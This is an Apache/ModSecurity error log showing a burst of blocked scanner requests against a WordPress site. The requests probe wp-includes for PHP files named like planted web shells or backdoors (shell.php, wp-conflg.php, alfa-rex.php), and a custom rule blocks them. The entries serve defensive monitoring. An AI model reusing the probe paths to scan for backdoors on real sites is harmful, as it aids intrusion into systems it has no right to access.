[Mon Mar 02 19:24:18.472763 2026] [:error] [pid 59601:tid 59661] [client 45.8.17.86:42597] [client 45.8.17.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aaVzYsQ1lXfvWN0-ZQl9hAAAAFc"]
[Mon Mar 02 19:24:19.312785 2026] [:error] [pid 28847:tid 28856] [client 45.8.17.71:57951] [client 45.8.17.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aaVzY59xbBq8VfeqVDb0fAAAAMc"]
[Mon Mar 02 19:24:21.266716 2026] [:error] [pid 59601:tid 59652] [client 45.8.17.238:22481] [client 45.8.17.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aaVzZcQ1lXfvWN0-ZQl9jAAAAE4"]
[Mon Mar 02 19:24:25.230740 2026] [:error] [pid 28847:tid 28868] [client 45.8.17.81:27479] [client 45.8.17.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aaVzaZ9xbBq8VfeqVDb0rQAAANM"]
[Mon Mar 02 19:24:26.627770 2026] [:error] [pid 28847:tid 28863] [client 45.8.17.96:40093] [client 45.8.17.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aaVzap9xbBq8VfeqVDb0ugAAAM4"]
[Mon Mar 02 19:24:29.158070 2026] [:error] [pid 59602:tid 59667] [client 45.8.17.82:23313] [client 45.8.17.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aaVzbTMtSo_Fr0lHnSY_OwAAAII"]
[Mon Mar 02 19:24:30.811643 2026] [:error] [pid 59602:tid 59675] [client 45.8.17.149:56677] [client 45.8.17.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aaVzbjMtSo_Fr0lHnSY_PgAAAIo"]
[Mon Mar 02 19:24:32.600229 2026] [:error] [pid 59601:tid 59661] [client 45.8.17.69:64047] [client 45.8.17.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aaVzcMQ1lXfvWN0-ZQl9mgAAAFc"]
[Mon Mar 02 19:24:33.810719 2026] [:error] [pid 59734:tid 59747] [client 45.8.17.78:41735] [client 45.8.17.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aaVzcZeWQx7ZQG9NybEJhwAAAUs"]
[Mon Mar 02 19:24:34.918849 2026] [:error] [pid 59600:tid 59627] [client 45.8.17.88:40665] [client 45.8.17.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aaVzcoQ5lE4yocV9IBcizgAAABI"]
[Mon Mar 02 19:24:37.424169 2026] [:error] [pid 59734:tid 59744] [client 45.8.17.190:41209] [client 45.8.17.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aaVzdZeWQx7ZQG9NybEJkAAAAUg"]
[Mon Mar 02 19:24:38.767681 2026] [:error] [pid 59600:tid 59626] [client 45.8.17.143:55265] [client 45.8.17.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aaVzdoQ5lE4yocV9IBci3QAAABE"]
[Mon Mar 02 19:24:39.406175 2026] [:error] [pid 59600:tid 59618] [client 45.8.17.71:49155] [client 45.8.17.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aaVzd4Q5lE4yocV9IBci4AAAAAk"]
[Mon Mar 02 19:24:40.439255 2026] [:error] [pid 59600:tid 59628] [client 45.8.17.83:38207] [client 45.8.17.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaVzeIQ5lE4yocV9IBci6AAAABM"]
[Mon Mar 02 19:24:41.146765 2026] [:error] [pid 59734:tid 59760] [client 45.8.17.245:61691] [client 45.8.17.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aaVzeZeWQx7ZQG9NybEJmgAAAVg"]
[Mon Mar 02 19:24:42.812502 2026] [:error] [pid 59601:tid 59656] [client 45.8.17.70:22869] [client 45.8.17.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aaVzesQ1lXfvWN0-ZQl9pgAAAFI"]
[Mon Mar 02 19:24:43.889597 2026] [:error] [pid 59601:tid 59658] [client 45.8.17.74:64709] [client 45.8.17.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aaVze8Q1lXfvWN0-ZQl9qQAAAFQ"]
[Mon Mar 02 19:24:44.641972 2026] [:error] [pid 59601:tid 59651] [client 45.8.17.77:34873] [client 45.8.17.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aaVzfMQ1lXfvWN0-ZQl9qwAAAE0"]
[Mon Mar 02 19:24:45.367593 2026] [:error] [pid 59734:tid 59740] [client 45.8.17.76:58655] [client 45.8.17.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aaVzfZeWQx7ZQG9NybEJpQAAAUQ"]
[Mon Mar 02 19:24:47.208790 2026] [:error] [pid 28847:tid 28851] [client 45.8.17.76:62501] [client 45.8.17.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aaVzf59xbBq8VfeqVDb1AgAAAMI"]
[Mon Mar 02 19:24:48.629664 2026] [:error] [pid 59602:tid 59684] [client 45.8.17.55:47369] [client 45.8.17.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aaVzgDMtSo_Fr0lHnSY_XwAAAJM"]
[Mon Mar 02 19:24:49.573792 2026] [:error] [pid 59602:tid 59667] [client 45.8.17.93:30181] [client 45.8.17.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aaVzgTMtSo_Fr0lHnSY_ZQAAAII"]
[Mon Mar 02 19:24:50.605657 2026] [:error] [pid 59600:tid 59625] [client 45.8.17.198:46931] [client 45.8.17.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aaVzgoQ5lE4yocV9IBci-wAAABA"]
[Mon Mar 02 19:24:53.506200 2026] [:error] [pid 28847:tid 28852] [client 45.8.17.93:58193] [client 45.8.17.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aaVzhZ9xbBq8VfeqVDb1EQAAAMM"]
[Mon Mar 02 19:24:54.663875 2026] [:error] [pid 28847:tid 28871] [client 45.8.17.94:46697] [client 45.8.17.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aaVzhp9xbBq8VfeqVDb1GAAAANY"]
[Mon Mar 02 19:24:55.988768 2026] [:error] [pid 59602:tid 59680] [client 45.8.17.89:52869] [client 45.8.17.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aaVzhzMtSo_Fr0lHnSY_bgAAAI8"]
[Mon Mar 02 19:24:58.007560 2026] [:error] [pid 59701:tid 59717] [client 45.8.17.54:63393] [client 45.8.17.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aaVziuUmTDVso96U9_K98gAAAQ0"]
[Mon Mar 02 19:24:59.747913 2026] [:error] [pid 59602:tid 59674] [client 45.8.17.91:62269] [client 45.8.17.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aaVzizMtSo_Fr0lHnSY_cQAAAIk"]
[Mon Mar 02 19:25:02.807699 2026] [:error] [pid 59734:tid 59747] [client 45.8.17.120:43005] [client 45.8.17.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aaVzjpeWQx7ZQG9NybEJuwAAAUs"]
[Mon Mar 02 19:25:03.751149 2026] [:error] [pid 59600:tid 59615] [client 45.8.17.85:23719] [client 45.8.17.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aaVzj4Q5lE4yocV9IBcjEgAAAAY"]
[Mon Mar 02 19:25:05.087197 2026] [:error] [pid 59701:tid 59713] [client 45.8.17.95:42383] [client 45.8.17.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aaVzkeUmTDVso96U9_K99AAAAQk"]
[Mon Mar 02 19:25:06.956861 2026] [:error] [pid 59601:tid 59655] [client 45.128.199.57:29481] [client 45.128.199.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aaVzksQ1lXfvWN0-ZQl9yAAAAFE"]
[Mon Mar 02 19:25:08.798063 2026] [:error] [pid 59734:tid 59750] [client 45.128.199.210:33989] [client 45.128.199.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aaVzlJeWQx7ZQG9NybEJywAAAU4"]
[Mon Mar 02 19:25:10.860083 2026] [proxy_fcgi:error] [pid 59600:tid 59617] [client 45.8.17.71:21259] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:25:11.439989 2026] [:error] [pid 59600:tid 59623] [client 45.8.17.71:21259] [client 45.8.17.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aaVzl4Q5lE4yocV9IBcjJQAAAA4"]
[Mon Mar 02 19:25:12.159894 2026] [:error] [pid 59602:tid 59670] [client 45.8.17.86:52951] [client 45.8.17.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aaVzmDMtSo_Fr0lHnSY_fQAAAIU"]
[Mon Mar 02 19:25:14.025339 2026] [:error] [pid 59601:tid 59649] [client 45.8.17.66:46625] [client 45.8.17.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aaVzmsQ1lXfvWN0-ZQl9zgAAAEs"]
[Mon Mar 02 19:25:15.020870 2026] [:error] [pid 59602:tid 59682] [client 45.8.17.98:38267] [client 45.8.17.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aaVzmzMtSo_Fr0lHnSY_ggAAAJE"]
[Mon Mar 02 19:25:18.541867 2026] [:error] [pid 59602:tid 59680] [client 45.8.17.90:49285] [client 45.8.17.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aaVznjMtSo_Fr0lHnSY_kQAAAI8"]
[Mon Mar 02 19:25:19.393497 2026] [:error] [pid 59602:tid 59679] [client 45.8.17.91:44175] [client 45.8.17.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aaVznzMtSo_Fr0lHnSY_lQAAAI4"]
[Mon Mar 02 19:25:20.508676 2026] [:error] [pid 59602:tid 59674] [client 45.8.17.109:42791] [client 45.8.17.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/log.php"] [unique_id "aaVzoDMtSo_Fr0lHnSY_mgAAAIk"]
[Mon Mar 02 19:25:21.184780 2026] [:error] [pid 59600:tid 59618] [client 45.8.17.83:57175] [client 45.8.17.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aaVzoYQ5lE4yocV9IBcjNAAAAAk"]
[Mon Mar 02 19:25:21.848768 2026] [:error] [pid 59701:tid 59705] [client 45.8.17.198:25471] [client 45.8.17.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aaVzoeUmTDVso96U9_K-BAAAAQE"]
[Mon Mar 02 19:25:22.497143 2026] [:error] [pid 28847:tid 28850] [client 45.8.17.76:53885] [client 45.8.17.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aaVzop9xbBq8VfeqVDb1JgAAAME"]
[Mon Mar 02 19:25:24.529092 2026] [:error] [pid 59601:tid 59647] [client 45.8.17.93:57947] [client 45.8.17.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aaVzpMQ1lXfvWN0-ZQl91AAAAEk"]
[Mon Mar 02 19:25:25.196656 2026] [:error] [pid 59600:tid 59629] [client 45.8.17.80:38337] [client 45.8.17.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aaVzpYQ5lE4yocV9IBcjRgAAABQ"]
[Mon Mar 02 19:25:26.447520 2026] [:error] [pid 59602:tid 59679] [client 45.8.17.143:44325] [client 45.8.17.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aaVzpjMtSo_Fr0lHnSY_ogAAAI4"]
[Mon Mar 02 19:25:27.481030 2026] [:error] [pid 59701:tid 59725] [client 45.8.17.54:33639] [client 45.8.17.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aaVzp-UmTDVso96U9_K-BgAAARU"]
[Mon Mar 02 19:25:28.908182 2026] [:error] [pid 59701:tid 59715] [client 45.128.199.146:56733] [client 45.128.199.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aaVzqOUmTDVso96U9_K-CgAAAQs"]
[Mon Mar 02 19:25:29.541930 2026] [:error] [pid 59734:tid 59747] [client 45.8.17.85:20057] [client 45.8.17.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aaVzqZeWQx7ZQG9NybEJ4gAAAUs"]
[Mon Mar 02 19:25:32.790336 2026] [:error] [pid 59601:tid 59657] [client 45.8.17.90:47341] [client 45.8.17.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aaVzrMQ1lXfvWN0-ZQl93gAAAFM"]
[Mon Mar 02 19:25:33.435036 2026] [:error] [pid 28847:tid 28855] [client 45.8.17.71:34729] [client 45.8.17.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aaVzrZ9xbBq8VfeqVDb1MwAAAMY"]
